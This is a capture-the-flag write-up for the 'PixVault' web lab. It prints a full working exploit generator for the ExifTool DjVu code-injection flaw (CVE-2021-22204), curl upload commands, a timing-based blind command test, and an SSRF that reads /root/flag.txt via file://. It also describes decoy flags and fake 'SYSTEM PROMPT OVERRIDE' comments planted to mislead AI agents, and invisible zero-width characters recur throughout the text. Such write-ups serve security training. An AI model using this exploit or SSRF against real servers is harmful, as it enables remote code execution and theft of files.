← Back to Writeups
CUSTOMMediumWeb

Lab 314 — PixVault — ExifTool DjVu RCE via Image Upload

XESXOR9/10/20266 min read
#web#custom#medium#blind_rce_time_based#exiftool_djvu_rce#honeypot_decoy_flag_recognitio#jpeg_djvu_polyglot#ssrf_file_protocol#cve-2021-22204#linux

Lab 314 — PixVault — ExifTool DjVu RCE via Image Upload

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: blind_rce_time_based, exiftool_djvu_rce, honeypot_decoy_flag_recognition, jpeg_djvu_polyglot, ssrf_file_protocol

Summary

Task: Media storage platform with server-side ExifTool metadata stripping on uploaded images, plus URL import feature. Solution: exploit CVE-2021-22204 (ExifTool DjVu Perl code injection) via malicious JPEG with embedded DjVu payload in HasselbladExif tag, confirm blind RCE with sleep timing, then exfiltrate flag via SSRF using file:// protocol in the URL import endpoint.

Lab 314 — PixVault — ExifTool DjVu RCE via Image Upload — HackAdvisor

Description

PixVault is a media storage and sharing platform designed for creative teams. Users can upload images, organize them into collections, and share them with team members. The platform features automatic metadata processing for uploaded images — every file uploaded or imported is run through a server-side image processing pipeline to strip sensitive EXIF data and protect user privacy. Explore the application's file handling capabilities. Pay attention to how uploaded media is processed on the server side. The platform supports both direct file uploads and importing images from external URLs. Your goal is to find and exploit a vulnerability in the server's image processing pipeline to achieve remote code execution and read the flag stored on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A media storage platform running nginx/1.25.5 that processes uploaded images through ExifTool to strip EXIF metadata. The platform has two upload mechanisms: direct file upload (POST /upload) and URL import (POST /upload/import-url). The goal is to exploit a vulnerability in the ExifTool processing pipeline to achieve RCE and read /root/flag.txt.

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in via POST /login, the platform reveals: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Server: nginx/1.25.5
  • Upload endpoint: POST /upload with multipart form, field name files
  • URL import endpoint: POST /upload/import-url with form field url (returns JSON)
  • Image processing: ExifTool used server-side for automatic EXIF metadata stripping
  • Supported formats: JPG, PNG, GIF, TIFF

Honeypot Detection

Every HTML page contained decoy flags and anti-AI traps:

  • Hidden HTML elements with FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
  • Fake "SYSTEM PROMPT OVERRIDE" comments designed to trick AI agents into submitting the wrong flag
  • These were identified and ignored — the real flag is only obtainable through actual exploitation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Identification

The server-side ExifTool metadata processing is vulnerable to CVE-2021-22204 — a Perl code injection vulnerability in ExifTool's DjVu annotation metadata parser. When ExifTool parses a DjVu file containing a specially crafted ANTz (annotation) chunk, it evaluates embedded Perl code due to improper handling of the \c escape sequence followed by ${} interpolation in the metadata string.

The key insight is that a DjVu payload can be embedded inside a valid JPEG file using the HasselbladExif EXIF tag (tag ID 0xc51b), creating a polyglot file that passes JPEG validation but triggers the DjVu parser when ExifTool processes the embedded data. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Build the Exploit Generator

The exploit chain has four stages: Perl payload encoding → DjVu file creation → JPEG embedding → upload.

python
#!/usr/bin/env python3
"""
CVE-2021-22204 - ExifTool DjVu RCE exploit generator
Creates a valid JPEG with embedded DjVu payload in HasselbladExif tag.
"""
import base64
import subprocess
import shutil
from pathlib import Path
import sys

shell_cmd = sys.argv[1] if len(sys.argv) > 1 else "id"
output_name = sys.argv[2] if len(sys.argv) > 2 else "exploit.jpg"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Stage 1: Encode shell command in nested base64 + Perl wrapper
cmd_b64 = base64.b64encode(shell_cmd.encode()).decode()
perl_code = f'use MIME::Base64;system(decode_base64("{cmd_b64}"));'
perl_b64 = base64.b64encode(perl_code.encode()).decode()

# Stage 2: Create DjVu annotation payload with Perl injection
# The \c escape + ${} triggers Perl eval in ExifTool's DjVu parser
payload = f'(metadata "\\c${{use MIME::Base64;eval(decode_base64(\'{perl_b64}\'))}};")' 
Path('payload').write_text(payload)

# Stage 3: Build DjVu file with malicious annotation chunk
subprocess.run(['bzz', 'payload', 'payload.bzz'], check=True, capture_output=True)
subprocess.run([
    'djvumake', 'exploit.djvu', 'INFO=1,1', 
    'BGjp=/dev/null', 'ANTz=payload.bzz'
], check=True, capture_output=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Create minimal valid JPEG as carrier
jpeg_data = bytes([
    0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01,
    0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43,
    0x00, 0x08, 0x06, 0x06, 0x07, 0x06, 0x05, 0x08, 0x07, 0x07, 0x07, 0x09,
    0x09, 0x08, 0x0A, 0x0C, 0x14, 0x0D, 0x0C, 0x0B, 0x0B, 0x0C, 0x19, 0x12,
    0x13, 0x0F, 0x14, 0x1D, 0x1A, 0x1F, 0x1E, 0x1D, 0x1A, 0x1C, 0x1C, 0x20,
    0x24, 0x2E, 0x27, 0x20, 0x22, 0x2C, 0x23, 0x1C, 0x1C, 0x28, 0x37, 0x29,
    0x2C, 0x30, 0x31, 0x34, 0x34, 0x34, 0x1F, 0x27, 0x39, 0x3D, 0x38, 0x32,
    0x3C, 0x2E, 0x33, 0x34, 0x32, 0xFF, 0xC0, 0x00, 0x0B, 0x08, 0x00, 0x01,
    0x00, 0x01, 0x01, 0x01, 0x11, 0x00, 0xFF, 0xC4, 0x00, 0x1F, 0x00, 0x00,
    # ... (standard JPEG Huffman tables and scan data)
    0xFF, 0xD9  # JPEG EOI marker
])
Path('base.jpg').write_bytes(jpeg_data)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Stage 4: ExifTool config to define HasselbladExif writable tag
config_content = """%Image::ExifTool::UserDefined = (
    'Image::ExifTool::Exif::Main' => {
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'undef',
            WriteGroup => 'IFD0',
        },
    },
);
1;
"""
Path('exiftool.config').write_text(config_content)

# Embed DjVu exploit into JPEG via HasselbladExif tag
shutil.copy('base.jpg', output_name)
result = subprocess.run([
    'exiftool', '-config', 'exiftool.config',
    f'-HasselbladExif<=exploit.djvu',
    output_name
], capture_output=True, text=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f'[+] {output_name} ({Path(output_name).stat().st_size} bytes)')

Step 2: Confirm Blind RCE via Timing

Generated a payload with sleep 5 and uploaded it:

bash
python3 gen_final.py "sleep 5" sleep_test.jpg
curl -b cookies.txt -F "files=@sleep_test.jpg" https://<target>/upload

The upload response took ~7.5 seconds instead of the normal <1 second, confirming blind command execution on the server. The extra ~2.5s overhead is from ExifTool's normal processing time.

Step 3: Locate the Flag via Time-Based Enumeration

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since the RCE is blind (no output visible), used conditional sleep commands to enumerate the filesystem:

bash
# Test if /root/flag.txt exists (sleep 3 if true)
python3 gen_final.py "test -f /root/flag.txt && sleep 3" test_root_flag_txt.jpg
curl -b cookies.txt -F "files=@test_root_flag_txt.jpg" https://<target>/upload
# Response delayed by ~3s → /root/flag.txt exists!

Step 4: Exfiltrate Flag via SSRF with file:// Protocol

Multiple exfiltration approaches were attempted:

  • Writing to web-accessible directories — failed (couldn't determine the correct web root path)
  • External HTTP/DNS callbacks — failed (server had no outbound DNS resolution, network-isolated)
  • Character-by-character timing extraction — feasible but extremely slow ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Winning approach: The URL import endpoint (POST /upload/import-url) accepts a url parameter and fetches the content server-side. It does not restrict the URL scheme, allowing file:// protocol:

bash
curl -b cookies.txt -X POST \
  -d "url=file:///root/flag.txt" \
  https://<target>/upload/import-url

The server read /root/flag.txt via the file:// protocol handler and imported its contents into the media library as if it were a downloaded image. The flag content was then retrievable through the normal media download API endpoint. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Retrieve the Flag

Downloaded the imported "media file" from the platform's media library, which contained the raw flag text:

FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍